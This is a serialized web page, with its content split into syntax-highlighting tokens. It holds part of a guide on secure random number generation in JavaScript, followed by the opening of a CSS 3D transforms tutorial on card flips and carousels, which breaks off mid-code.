btoa",[1560,43092,43093],{"class":1570},"(binary)\n",[1560,43095,43096,43098,43100,43102,43104,43107,43109,43111,43113,43116],{"class":1562,"line":1710},[1560,43097,37982],{"class":1570},[1560,43099,22721],{"class":1566},[1560,43101,1688],{"class":1570},[1560,43103,9423],{"class":5634},[1560,43105,43106],{"class":11915},"\\+",[1560,43108,9423],{"class":5634},[1560,43110,22733],{"class":1669},[1560,43112,1459],{"class":1570},[1560,43114,43115],{"class":5634},"'-'",[1560,43117,8252],{"class":1570},[1560,43119,43120,43122,43124,43126,43128,43131,43133,43135,43137,43140],{"class":1562,"line":1717},[1560,43121,37982],{"class":1570},[1560,43123,22721],{"class":1566},[1560,43125,1688],{"class":1570},[1560,43127,9423],{"class":5634},[1560,43129,43130],{"class":11915},"\\\u002F",[1560,43132,9423],{"class":5634},[1560,43134,22733],{"class":1669},[1560,43136,1459],{"class":1570},[1560,43138,43139],{"class":5634},"'_'",[1560,43141,8252],{"class":1570},[1560,43143,43144,43146,43148,43150,43152,43154,43157,43159,43161,43163],{"class":1562,"line":1747},[1560,43145,37982],{"class":1570},[1560,43147,22721],{"class":1566},[1560,43149,1688],{"class":1570},[1560,43151,9423],{"class":5634},[1560,43153,7297],{"class":11919},[1560,43155,43156],{"class":1669},"+$",[1560,43158,9423],{"class":5634},[1560,43160,1459],{"class":1570},[1560,43162,5635],{"class":5634},[1560,43164,8252],{"class":1570},[1560,43166,43167],{"class":1562,"line":2507},[1560,43168,1585],{"class":1570},[16,43170,43171,43174],{},[47,43172,43173],{},"OTP (one-time password) codes"," — numeric only, fixed length:",[135,43176,43178],{"className":1607,"code":43177,"language":1609,"meta":141,"style":141},"function generateOTP(length = 6) {\n  const bytes = new Uint8Array(length)\n  crypto.getRandomValues(bytes)\n  return Array.from(bytes, b => b % 10).join('')\n}\n",[143,43179,43180,43198,43212,43220,43252],{"__ignoreMap":141},[1560,43181,43182,43184,43187,43189,43191,43193,43196],{"class":1562,"line":1563},[1560,43183,8648],{"class":1669},[1560,43185,43186],{"class":1566}," generateOTP",[1560,43188,1688],{"class":1570},[1560,43190,9418],{"class":2219},[1560,43192,8186],{"class":1669},[1560,43194,43195],{"class":1576}," 6",[1560,43197,9345],{"class":1570},[1560,43199,43200,43202,43204,43206,43208,43210],{"class":1562,"line":337},[1560,43201,28057],{"class":1669},[1560,43203,41908],{"class":1576},[1560,43205,8186],{"class":1669},[1560,43207,11489],{"class":1669},[1560,43209,42188],{"class":1566},[1560,43211,42748],{"class":1570},[1560,43213,43214,43216,43218],{"class":1562,"line":343},[1560,43215,42753],{"class":1570},[1560,43217,41846],{"class":1566},[1560,43219,42758],{"class":1570},[1560,43221,43222,43224,43226,43228,43230,43232,43234,43237,43239,43242,43244,43246,43248,43250],{"class":1562,"line":365},[1560,43223,9350],{"class":1669},[1560,43225,23043],{"class":1570},[1560,43227,8168],{"class":1566},[1560,43229,42769],{"class":1570},[1560,43231,28973],{"class":2219},[1560,43233,9378],{"class":1669},[1560,43235,43236],{"class":1570}," b ",[1560,43238,17990],{"class":1669},[1560,43240,43241],{"class":1576}," 10",[1560,43243,9368],{"class":1570},[1560,43245,9459],{"class":1566},[1560,43247,1688],{"class":1570},[1560,43249,5635],{"class":5634},[1560,43251,8252],{"class":1570},[1560,43253,43254],{"class":1562,"line":889},[1560,43255,1585],{"class":1570},[16,43257,43258,43259,43262],{},"The modulo bias in ",[143,43260,43261],{},"b % 10"," is negligible for 6-digit OTPs (bias is 6\u002F256 ≈ 2.3% per digit). For high-value tokens, use rejection sampling instead:",[135,43264,43266],{"className":1607,"code":43265,"language":1609,"meta":141,"style":141},"function generateUnbiasedOTP(length = 6) {\n  const digits = []\n  while (digits.length \u003C length) {\n    const bytes = new Uint8Array(1)\n    crypto.getRandomValues(bytes)\n    if (bytes[0] \u003C 240) {  \u002F\u002F 240 = 10 * 24, avoids bias\n      digits.push((bytes[0] % 10).toString())\n    }\n  }\n  return digits.join('')\n}\n",[143,43267,43268,43285,43296,43310,43328,43337,43359,43383,43387,43391,43406],{"__ignoreMap":141},[1560,43269,43270,43272,43275,43277,43279,43281,43283],{"class":1562,"line":1563},[1560,43271,8648],{"class":1669},[1560,43273,43274],{"class":1566}," generateUnbiasedOTP",[1560,43276,1688],{"class":1570},[1560,43278,9418],{"class":2219},[1560,43280,8186],{"class":1669},[1560,43282,43195],{"class":1576},[1560,43284,9345],{"class":1570},[1560,43286,43287,43289,43292,43294],{"class":1562,"line":337},[1560,43288,28057],{"class":1669},[1560,43290,43291],{"class":1576}," digits",[1560,43293,8186],{"class":1669},[1560,43295,38057],{"class":1570},[1560,43297,43298,43300,43303,43305,43307],{"class":1562,"line":343},[1560,43299,38062],{"class":1669},[1560,43301,43302],{"class":1570}," (digits.",[1560,43304,9418],{"class":1576},[1560,43306,28030],{"class":1669},[1560,43308,43309],{"class":1570}," length) {\n",[1560,43311,43312,43314,43316,43318,43320,43322,43324,43326],{"class":1562,"line":365},[1560,43313,9385],{"class":1669},[1560,43315,41908],{"class":1576},[1560,43317,8186],{"class":1669},[1560,43319,11489],{"class":1669},[1560,43321,42188],{"class":1566},[1560,43323,1688],{"class":1570},[1560,43325,3585],{"class":1576},[1560,43327,8252],{"class":1570},[1560,43329,43330,43333,43335],{"class":1562,"line":889},[1560,43331,43332],{"class":1570},"    crypto.",[1560,43334,41846],{"class":1566},[1560,43336,42758],{"class":1570},[1560,43338,43339,43341,43344,43346,43348,43350,43353,43356],{"class":1562,"line":1710},[1560,43340,11527],{"class":1669},[1560,43342,43343],{"class":1570}," (bytes[",[1560,43345,5285],{"class":1576},[1560,43347,13484],{"class":1570},[1560,43349,6431],{"class":1669},[1560,43351,43352],{"class":1576}," 240",[1560,43354,43355],{"class":1570},") {  ",[1560,43357,43358],{"class":1649},"\u002F\u002F 240 = 10 * 24, avoids bias\n",[1560,43360,43361,43364,43366,43369,43371,43373,43375,43377,43379,43381],{"class":1562,"line":1717},[1560,43362,43363],{"class":1570},"      digits.",[1560,43365,38129],{"class":1566},[1560,43367,43368],{"class":1570},"((bytes[",[1560,43370,5285],{"class":1576},[1560,43372,13484],{"class":1570},[1560,43374,17990],{"class":1669},[1560,43376,43241],{"class":1576},[1560,43378,9368],{"class":1570},[1560,43380,10052],{"class":1566},[1560,43382,38018],{"class":1570},[1560,43384,43385],{"class":1562,"line":1747},[1560,43386,11612],{"class":1570},[1560,43388,43389],{"class":1562,"line":2507},[1560,43390,4959],{"class":1570},[1560,43392,43393,43395,43398,43400,43402,43404],{"class":1562,"line":2524},[1560,43394,9350],{"class":1669},[1560,43396,43397],{"class":1570}," digits.",[1560,43399,9459],{"class":1566},[1560,43401,1688],{"class":1570},[1560,43403,5635],{"class":5634},[1560,43405,8252],{"class":1570},[1560,43407,43408],{"class":1562,"line":2529},[1560,43409,1585],{"class":1570},[11,43411,43413],{"id":43412},"nodejs-server-side-rng","Node.js Server-Side RNG",[16,43415,43416,43417,43420],{},"On the server, use the ",[143,43418,43419],{},"node:crypto"," module:",[135,43422,43424],{"className":1607,"code":43423,"language":1609,"meta":141,"style":141},"import { randomBytes, randomInt, randomUUID } from 'node:crypto'\n\n\u002F\u002F Random bytes for tokens\nconst token = randomBytes(32).toString('hex')\n\n\u002F\u002F Random integer in range [0, max) without modulo bias\nconst index = randomInt(0, array.length)\n\n\u002F\u002F UUID v4 — cryptographically random\nconst id = randomUUID()\n",[143,43425,43426,43438,43442,43447,43472,43476,43481,43504,43508,43513],{"__ignoreMap":141},[1560,43427,43428,43430,43433,43435],{"class":1562,"line":1563},[1560,43429,8162],{"class":1669},[1560,43431,43432],{"class":1570}," { randomBytes, randomInt, randomUUID } ",[1560,43434,8168],{"class":1669},[1560,43436,43437],{"class":5634}," 'node:crypto'\n",[1560,43439,43440],{"class":1562,"line":337},[1560,43441,1702],{"emptyLinePlaceholder":363},[1560,43443,43444],{"class":1562,"line":343},[1560,43445,43446],{"class":1649},"\u002F\u002F Random bytes for tokens\n",[1560,43448,43449,43451,43453,43455,43458,43460,43462,43464,43466,43468,43470],{"class":1562,"line":365},[1560,43450,8180],{"class":1669},[1560,43452,42129],{"class":1576},[1560,43454,8186],{"class":1669},[1560,43456,43457],{"class":1566}," randomBytes",[1560,43459,1688],{"class":1570},[1560,43461,36042],{"class":1576},[1560,43463,9368],{"class":1570},[1560,43465,10052],{"class":1566},[1560,43467,1688],{"class":1570},[1560,43469,41938],{"class":5634},[1560,43471,8252],{"class":1570},[1560,43473,43474],{"class":1562,"line":889},[1560,43475,1702],{"emptyLinePlaceholder":363},[1560,43477,43478],{"class":1562,"line":1710},[1560,43479,43480],{"class":1649},"\u002F\u002F Random integer in range [0, max) without modulo bias\n",[1560,43482,43483,43485,43488,43490,43493,43495,43497,43500,43502],{"class":1562,"line":1717},[1560,43484,8180],{"class":1669},[1560,43486,43487],{"class":1576}," index",[1560,43489,8186],{"class":1669},[1560,43491,43492],{"class":1566}," randomInt",[1560,43494,1688],{"class":1570},[1560,43496,5285],{"class":1576},[1560,43498,43499],{"class":1570},", array.",[1560,43501,9418],{"class":1576},[1560,43503,8252],{"class":1570},[1560,43505,43506],{"class":1562,"line":1747},[1560,43507,1702],{"emptyLinePlaceholder":363},[1560,43509,43510],{"class":1562,"line":2507},[1560,43511,43512],{"class":1649},"\u002F\u002F UUID v4 — cryptographically random\n",[1560,43514,43515,43517,43520,43522,43525],{"class":1562,"line":2524},[1560,43516,8180],{"class":1669},[1560,43518,43519],{"class":1576}," id",[1560,43521,8186],{"class":1669},[1560,43523,43524],{"class":1566}," randomUUID",[1560,43526,27830],{"class":1570},[16,43528,43529,43531,43532,43535,43536,43539],{},[143,43530,41916],{}," reads from ",[143,43533,43534],{},"\u002Fdev\u002Furandom"," on Linux and ",[143,43537,43538],{},"BCryptGenRandom"," on Windows. Both are CSPRNGs backed by OS-collected entropy.",[11,43541,41982],{"id":41981},[193,43543,43544,43553],{},[196,43545,43546],{},[199,43547,43548,43550],{},[202,43549,1775],{},[202,43551,43552],{},"Correct API",[211,43554,43555,43566,43577,43588,43600,43610,43619],{},[199,43556,43557,43559],{},[216,43558,42053],{},[216,43560,43561,14237,43563],{},[143,43562,41808],{},[143,43564,43565],{},"randomBytes()",[199,43567,43568,43571],{},[216,43569,43570],{},"Password reset links",[216,43572,43573,14237,43575],{},[143,43574,41808],{},[143,43576,43565],{},[199,43578,43579,43582],{},[216,43580,43581],{},"CSRF tokens",[216,43583,43584,14237,43586],{},[143,43585,41808],{},[143,43587,43565],{},[199,43589,43590,43593],{},[216,43591,43592],{},"UUID v4",[216,43594,43595,1531,43598],{},[143,43596,43597],{},"randomUUID()",[143,43599,41808],{},[199,43601,43602,43605],{},[216,43603,43604],{},"Shuffling a deck in a game",[216,43606,43607,43609],{},[143,43608,41774],{}," (fine for non-security)",[199,43611,43612,43615],{},[216,43613,43614],{},"A\u002FB test assignment",[216,43616,43617,43609],{},[143,43618,41774],{},[199,43620,43621,43624],{},[216,43622,43623],{},"CSS animation offset",[216,43625,43626,43609],{},[143,43627,41774],{},[16,43629,43630,43631,43633,43634,43636],{},"The rule is simple: if the random value protects access, identity, or money, use ",[143,43632,41808],{},". Everything else can use ",[143,43635,41774],{}," without risk.",[16,43638,43639,43640,43642],{},"Generate secure random numbers for development and testing at ",[98,43641,42521],{"href":42521},", which supports both standard and cryptographic random generation modes.",[2043,43644,43645],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .snhLl, html code.shiki .snhLl{--shiki-default:#22863A;--shiki-default-font-weight:bold;--shiki-dark:#85E89D;--shiki-dark-font-weight:bold}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}",{"title":141,"searchDepth":337,"depth":337,"links":43647},[43648,43649,43650,43651,43652],{"id":42585,"depth":337,"text":42586},{"id":42698,"depth":337,"text":42699},{"id":42916,"depth":337,"text":42917},{"id":43412,"depth":337,"text":43413},{"id":41981,"depth":337,"text":41982},"Why Math.random() is unsafe for tokens and how crypto.getRandomValues() fixes it.",{},"\u002Fguides\u002Fcsprng-security-guide",{"title":42571,"description":43653},"guides\u002Fcsprng-security-guide","-ruytfMZWeXKxeDtRnIBcKQJJWsUA-8f_EVyIS1PogU",{"id":43660,"title":43661,"body":43662,"date":2070,"description":44981,"extension":361,"meta":44982,"navigation":363,"path":44983,"readingTime":1710,"seo":44984,"stem":44985,"__hash__":44986},"guides\u002Fguides\u002Fcss-3d-transforms-guide.md","CSS 3D Transforms: Complete Guide",{"type":8,"value":43663,"toc":44968},[43664,43668,43677,43680,43684,43687,43746,43763,43766,43772,43819,43822,43826,43909,43962,43965,43969,43977,44223,44226,44253,44257,44264,44659,44668,44672,44677,44873,44882,44884,44917,44919,44958,44960,44965],[11,43665,43667],{"id":43666},"what-are-3d-css-transforms","What Are 3D CSS Transforms?",[16,43669,43670,43671,43673,43674,43676],{},"CSS 3D transforms extend the 2D ",[143,43672,1514],{}," property with a third axis (Z), allowing you to position, rotate, and scale elements in three-dimensional space. Combined with the ",[143,43675,1469],{}," property, they create realistic depth effects — card flips, rotating carousels, unfolding panels — all without JavaScript or canvas.",[16,43678,43679],{},"The browser composites 3D-transformed elements on the GPU, making them inherently smooth and performant for animation.",[11,43681,43683],{"id":43682},"the-z-axis-and-perspective","The Z Axis and Perspective",[16,43685,43686],{},"Before 3D transforms work visually, you need perspective. Without it, Z-axis changes have no apparent depth:",[135,43688,43690],{"className":1554,"code":43689,"language":1556,"meta":141,"style":141},".scene {\n  perspective: 800px;\n}\n\n.card {\n  transform: rotateY(45deg);\n}\n",[143,43691,43692,43699,43712,43716,43720,43726,43742],{"__ignoreMap":141},[1560,43693,43694,43697],{"class":1562,"line":1563},[1560,43695,43696],{"class":1566},".scene",[1560,43698,1571],{"class":1570},[1560,43700,43701,43704,43706,43708,43710],{"class":1562,"line":337},[1560,43702,43703],{"class":1576},"  perspective",[1560,43705,1663],{"class":1570},[1560,43707,1666],{"class":1576},[1560,43709,1670],{"class":1669},[1560,43711,2228],{"class":1570},[1560,43713,43714],{"class":1562,"line":343},[1560,43715,1585],{"class":1570},[1560,43717,43718],{"class":1562,"line":365},[1560,43719,1702],{"emptyLinePlaceholder":363},[1560,43721,43722,43724],{"class":1562,"line":889},[1560,43723,1567],{"class":1566},[1560,43725,1571],{"class":1570},[1560,43727,43728,43730,43732,43734,43736,43738,43740],{"class":1562,"line":1710},[1560,43729,1720],{"class":1576},[1560,43731,1663],{"class":1570},[1560,43733,1462],{"class":1576},[1560,43735,1688],{"class":1570},[1560,43737,1691],{"class":1576},[1560,43739,1694],{"class":1669},[1560,43741,1744],{"class":1570},[1560,43743,43744],{"class":1562,"line":1717},[1560,43745,1585],{"class":1570},[41,43747,43748,43755],{},[44,43749,43750,43754],{},[47,43751,43752],{},[143,43753,1469],{}," on the parent defines the viewing distance. Lower values (200px) produce dramatic distortion; higher values (2000px) look nearly flat. 600–1000px is a natural range.",[44,43756,43757,43762],{},[47,43758,43759],{},[143,43760,43761],{},"transform: perspective()"," on the element itself works similarly but applies individually — each element gets its own vanishing point.",[33,43764,43765],{"id":43765},"perspective-origin",[16,43767,43768,43769,43771],{},"Control where the viewer looks by setting ",[143,43770,43765],{}," on the parent:",[135,43773,43775],{"className":1554,"code":43774,"language":1556,"meta":141,"style":141},".scene {\n  perspective: 800px;\n  perspective-origin: 50% 50%; \u002F* default: center *\u002F\n}\n",[143,43776,43777,43783,43795,43815],{"__ignoreMap":141},[1560,43778,43779,43781],{"class":1562,"line":1563},[1560,43780,43696],{"class":1566},[1560,43782,1571],{"class":1570},[1560,43784,43785,43787,43789,43791,43793],{"class":1562,"line":337},[1560,43786,43703],{"class":1576},[1560,43788,1663],{"class":1570},[1560,43790,1666],{"class":1576},[1560,43792,1670],{"class":1669},[1560,43794,2228],{"class":1570},[1560,43796,43797,43800,43802,43804,43806,43808,43810,43812],{"class":1562,"line":343},[1560,43798,43799],{"class":1576},"  perspective-origin",[1560,43801,1663],{"class":1570},[1560,43803,18059],{"class":1576},[1560,43805,17990],{"class":1669},[1560,43807,18318],{"class":1576},[1560,43809,17990],{"class":1669},[1560,43811,3664],{"class":1570},[1560,43813,43814],{"class":1649},"\u002F* default: center *\u002F\n",[1560,43816,43817],{"class":1562,"line":365},[1560,43818,1585],{"class":1570},[16,43820,43821],{},"Changing this offset shifts the 3D effect as if you moved your head.",[11,43823,43825],{"id":43824},"_3d-transform-functions","3D Transform Functions",[193,43827,43828,43837],{},[196,43829,43830],{},[199,43831,43832,43835],{},[202,43833,43834],{},"Function",[202,43836,29641],{},[211,43838,43839,43849,43859,43869,43879,43889,43899],{},[199,43840,43841,43846],{},[216,43842,43843],{},[143,43844,43845],{},"translate3d(tx, ty, tz)",[216,43847,43848],{},"Moves along all three axes",[199,43850,43851,43856],{},[216,43852,43853],{},[143,43854,43855],{},"translateZ(tz)",[216,43857,43858],{},"Moves closer or farther along Z",[199,43860,43861,43866],{},[216,43862,43863],{},[143,43864,43865],{},"rotateX(angle)",[216,43867,43868],{},"Rotates around the horizontal axis",[199,43870,43871,43876],{},[216,43872,43873],{},[143,43874,43875],{},"rotateY(angle)",[216,43877,43878],{},"Rotates around the vertical axis",[199,43880,43881,43886],{},[216,43882,43883],{},[143,43884,43885],{},"rotateZ(angle)",[216,43887,43888],{},"Rotates around the depth axis (same as 2D rotate)",[199,43890,43891,43896],{},[216,43892,43893],{},[143,43894,43895],{},"scale3d(sx, sy, sz)",[216,43897,43898],{},"Scales on all three axes",[199,43900,43901,43906],{},[216,43902,43903],{},[143,43904,43905],{},"scaleZ(sz)",[216,43907,43908],{},"Scales along Z (only visible with child content)",[135,43910,43912],{"className":1554,"code":43911,"language":1556,"meta":141,"style":141},".box {\n  transform: rotateX(30deg) rotateY(-20deg) translateZ(50px);\n}\n",[143,43913,43914,43921,43958],{"__ignoreMap":141},[1560,43915,43916,43919],{"class":1562,"line":1563},[1560,43917,43918],{"class":1566},".box",[1560,43920,1571],{"class":1570},[1560,43922,43923,43925,43927,43929,43931,43933,43935,43937,43939,43941,43944,43946,43948,43950,43952,43954,43956],{"class":1562,"line":337},[1560,43924,1720],{"class":1576},[1560,43926,1663],{"class":1570},[1560,43928,1458],{"class":1576},[1560,43930,1688],{"class":1570},[1560,43932,23995],{"class":1576},[1560,43934,1694],{"class":1669},[1560,43936,1733],{"class":1570},[1560,43938,1462],{"class":1576},[1560,43940,1688],{"class":1570},[1560,43942,43943],{"class":1576},"-20",[1560,43945,1694],{"class":1669},[1560,43947,1733],{"class":1570},[1560,43949,1465],{"class":1576},[1560,43951,1688],{"class":1570},[1560,43953,18059],{"class":1576},[1560,43955,1670],{"class":1669},[1560,43957,1744],{"class":1570},[1560,43959,43960],{"class":1562,"line":343},[1560,43961,1585],{"class":1570},[16,43963,43964],{},"Order matters — transforms apply right-to-left, just like matrix multiplication.",[11,43966,43968],{"id":43967},"card-flip-effect","Card Flip Effect",[16,43970,43971,43972,12674,43974,8037],{},"The classic card flip uses ",[143,43973,1462],{},[143,43975,43976],{},"backface-visibility",[135,43978,43980],{"className":1554,"code":43979,"language":1556,"meta":141,"style":141},".card-container {\n  perspective: 800px;\n  width: 300px;\n  height: 400px;\n}\n\n.card {\n  position: relative;\n  width: 100%;\n  height: 100%;\n  transition: transform 0.6s;\n  transform-style: preserve-3d;\n}\n\n.card-container:hover .card {\n  transform: rotateY(180deg);\n}\n\n.card-front,\n.card-back {\n  position: absolute;\n  inset: 0;\n  backface-visibility: hidden;\n}\n\n.card-back {\n  transform: rotateY(180deg);\n}\n",[143,43981,43982,43989,44001,44014,44026,44030,44034,44040,44050,44062,44074,44087,44099,44103,44107,44116,44132,44136,44140,44147,44154,44164,44174,44186,44190,44194,44201,44218],{"__ignoreMap":141},[1560,43983,43984,43987],{"class":1562,"line":1563},[1560,43985,43986],{"class":1566},".card-container",[1560,43988,1571],{"class":1570},[1560,43990,43991,43993,43995,43997,43999],{"class":1562,"line":337},[1560,43992,43703],{"class":1576},[1560,43994,1663],{"class":1570},[1560,43996,1666],{"class":1576},[1560,43998,1670],{"class":1669},[1560,44000,2228],{"class":1570},[1560,44002,44003,44005,44007,44010,44012],{"class":1562,"line":343},[1560,44004,12386],{"class":1576},[1560,44006,1663],{"class":1570},[1560,44008,44009],{"class":1576},"300",[1560,44011,1670],{"class":1669},[1560,44013,2228],{"class":1570},[1560,44015,44016,44018,44020,44022,44024],{"class":1562,"line":365},[1560,44017,12400],{"class":1576},[1560,44019,1663],{"class":1570},[1560,44021,24703],{"class":1576},[1560,44023,1670],{"class":1669},[1560,44025,2228],{"class":1570},[1560,44027,44028],{"class":1562,"line":889},[1560,44029,1585],{"class":1570},[1560,44031,44032],{"class":1562,"line":1710},[1560,44033,1702],{"emptyLinePlaceholder":363},[1560,44035,44036,44038],{"class":1562,"line":1717},[1560,44037,1567],{"class":1566},[1560,44039,1571],{"class":1570},[1560,44041,44042,44044,44046,44048],{"class":1562,"line":1747},[1560,44043,5642],{"class":1576},[1560,44045,1663],{"class":1570},[1560,44047,19549],{"class":1576},[1560,44049,2228],{"class":1570},[1560,44051,44052,44054,44056,44058,44060],{"class":1562,"line":2507},[1560,44053,12386],{"class":1576},[1560,44055,1663],{"class":1570},[1560,44057,18114],{"class":1576},[1560,44059,17990],{"class":1669},[1560,44061,2228],{"class":1570},[1560,44063,44064,44066,44068,44070,44072],{"class":1562,"line":2524},[1560,44065,12400],{"class":1576},[1560,44067,1663],{"class":1570},[1560,44069,18114],{"class":1576},[1560,44071,17990],{"class":1669},[1560,44073,2228],{"class":1570},[1560,44075,44076,44078,44080,44083,44085],{"class":1562,"line":2529},[1560,44077,18718],{"class":1576},[1560,44079,19594],{"class":1570},[1560,44081,44082],{"class":1576},"0.6",[1560,44084,18727],{"class":1669},[1560,44086,2228],{"class":1570},[1560,44088,44089,44092,44094,44097],{"class":1562,"line":2534},[1560,44090,44091],{"class":1576},"  transform-style",[1560,44093,1663],{"class":1570},[1560,44095,44096],{"class":1576},"preserve-3d",[1560,44098,2228],{"class":1570},[1560,44100,44101],{"class":1562,"line":2542},[1560,44102,1585],{"class":1570},[1560,44104,44105],{"class":1562,"line":2558},[1560,44106,1702],{"emptyLinePlaceholder":363},[1560,44108,44109,44112,44114],{"class":1562,"line":2570},[1560,44110,44111],{"class":1566},".card-container:hover",[1560,44113,17324],{"class":1566},[1560,44115,1571],{"class":1570},[1560,44117,44118,44120,44122,44124,44126,44128,44130],{"class":1562,"line":6638},[1560,44119,1720],{"class":1576},[1560,44121,1663],{"class":1570},[1560,44123,1462],{"class":1576},[1560,44125,1688],{"class":1570},[1560,44127,35584],{"class":1576},[1560,44129,1694],{"class":1669},[1560,44131,1744],{"class":1570},[1560,44133,44134],{"class":1562,"line":11615},[1560,44135,1585],{"class":1570},[1560,44137,44138],{"class":1562,"line":11621},[1560,44139,1702],{"emptyLinePlaceholder":363},[1560,44141,44142,44145],{"class":1562,"line":11633},[1560,44143,44144],{"class":1566},".card-front",[1560,44146,11943],{"class":1570},[1560,44148,44149,44152],{"class":1562,"line":11638},[1560,44150,44151],{"class":1566},".card-back",[1560,44153,1571],{"class":1570},[1560,44155,44156,44158,44160,44162],{"class":1562,"line":11672},[1560,44157,5642],{"class":1576},[1560,44159,1663],{"class":1570},[1560,44161,5647],{"class":1576},[1560,44163,2228],{"class":1570},[1560,44165,44166,44168,44170,44172],{"class":1562,"line":19435},[1560,44167,5654],{"class":1576},[1560,44169,1663],{"class":1570},[1560,44171,5285],{"class":1576},[1560,44173,2228],{"class":1570},[1560,44175,44176,44179,44181,44184],{"class":1562,"line":19442},[1560,44177,44178],{"class":1576},"  backface-visibility",[1560,44180,1663],{"class":1570},[1560,44182,44183],{"class":1576},"hidden",[1560,44185,2228],{"class":1570},[1560,44187,44188],{"class":1562,"line":19475},[1560,44189,1585],{"class":1570},[1560,44191,44192],{"class":1562,"line":19508},[1560,44193,1702],{"emptyLinePlaceholder":363},[1560,44195,44197,44199],{"class":1562,"line":44196},26,[1560,44198,44151],{"class":1566},[1560,44200,1571],{"class":1570},[1560,44202,44204,44206,44208,44210,44212,44214,44216],{"class":1562,"line":44203},27,[1560,44205,1720],{"class":1576},[1560,44207,1663],{"class":1570},[1560,44209,1462],{"class":1576},[1560,44211,1688],{"class":1570},[1560,44213,35584],{"class":1576},[1560,44215,1694],{"class":1669},[1560,44217,1744],{"class":1570},[1560,44219,44221],{"class":1562,"line":44220},28,[1560,44222,1585],{"class":1570},[16,44224,44225],{},"Key points:",[41,44227,44228,44239,44246],{},[44,44229,44230,44235,44236,44238],{},[47,44231,44232],{},[143,44233,44234],{},"transform-style: preserve-3d"," on ",[143,44237,1567],{}," keeps front and back in 3D space rather than flattening them.",[44,44240,44241,44245],{},[47,44242,44243],{},[143,44244,1540],{}," prevents seeing the reverse side bleed through during rotation.",[44,44247,44248,44249,44252],{},"The back face is pre-rotated ",[143,44250,44251],{},"180deg"," so it faces the viewer when the card flips.",[11,44254,44256],{"id":44255},"_3d-carousel","3D Carousel",[16,44258,44259,44260,1856,44262,8037],{},"A carousel places items in a ring using ",[143,44261,1462],{},[143,44263,1465],{},[135,44265,44267],{"className":1554,"code":44266,"language":1556,"meta":141,"style":141},".carousel {\n  position: relative;\n  width: 200px;\n  height: 200px;\n  transform-style: preserve-3d;\n  animation: spin 12s linear infinite;\n}\n\n.carousel .face {\n  position: absolute;\n  width: 200px;\n  height: 200px;\n}\n\n\u002F* 6-sided carousel: each face rotated 60deg apart, pushed out by Z *\u002F\n.carousel .face:nth-child(1) { transform: rotateY(0deg) translateZ(200px); }\n.carousel .face:nth-child(2) { transform: rotateY(60deg) translateZ(200px); }\n.carousel .face:nth-child(3) { transform: rotateY(120deg) translateZ(200px); }\n.carousel .face:nth-child(4) { transform: rotateY(180deg) translateZ(200px); }\n.carousel .face:nth-child(5) { transform: rotateY(240deg) translateZ(200px); }\n.carousel .face:nth-child(6) { transform: rotateY(300deg) translateZ(200px); }\n\n@keyframes spin {\n  to { transform: rotateY(360deg); }\n}\n",[143,44268,44269,44276,44286,44298,44310,44320,44338,44342,44346,44355,44365,44377,44389,44393,44397,44402,44439,44475,44511,44547,44583,44620,44624,44633,44655],{"__ignoreMap":141},[1560,44270,44271,44274],{"class":1562,"line":1563},[1560,44272,44273],{"class":1566},".carousel",[1560,44275,1571],{"class":1570},[1560,44277,44278,44280,44282,44284],{"class":1562,"line":337},[1560,44279,5642],{"class":1576},[1560,44281,1663],{"class":1570},[1560,44283,19549],{"class":1576},[1560,44285,2228],{"class":1570},[1560,44287,44288,44290,44292,44294,44296],{"class":1562,"line":343},[1560,44289,12386],{"class":1576},[1560,44291,1663],{"class":1570},[1560,44293,18101],{"class":1576},[1560,44295,1670],{"class":1669},[1560,44297,2228],{"class":1570},[1560,44299,44300,44302,44304,44306,44308],{"class":1562,"line":365},[1560,44301,12400],{"class":1576},[1560,44303,1663],{"class":1570},[1560,44305,18101],{"class":1576},[1560,44307,1670],{"class":1669},[1560,44309,2228],{"class":1570},[1560,44311,44312,44314,44316,44318],{"class":1562,"line":889},[1560,44313,44091],{"class":1576},[1560,44315,1663],{"class":1570},[1560,44317,44096],{"class":1576},[1560,44319,2228],{"class":1570},[1560,44321,44322,44324,44327,44329,44331,44334,44336],{"class":1562,"line":1710},[1560,44323,20083],{"class":1576},[1560,44325,44326],{"class":1570},": spin ",[1560,44328,13566],{"class":1576},[1560,44330,18727],{"class":1669},[1560,44332,44333],{"class":1576}," linear",[1560,44335,20096],{"class":1576},[1560,44337,2228],{"class":1570},[1560,44339,44340],{"class":1562,"line":1717},[1560,44341,1585],{"class":1570},[1560,44343,44344],{"class":1562,"line":1747},[1560,44345,1702],{"emptyLinePlaceholder":363},[1560,44347,44348,44350,44353],{"class":1562,"line":2507},[1560,44349,44273],{"class":1566},[1560,44351,44352],{"class":1566}," 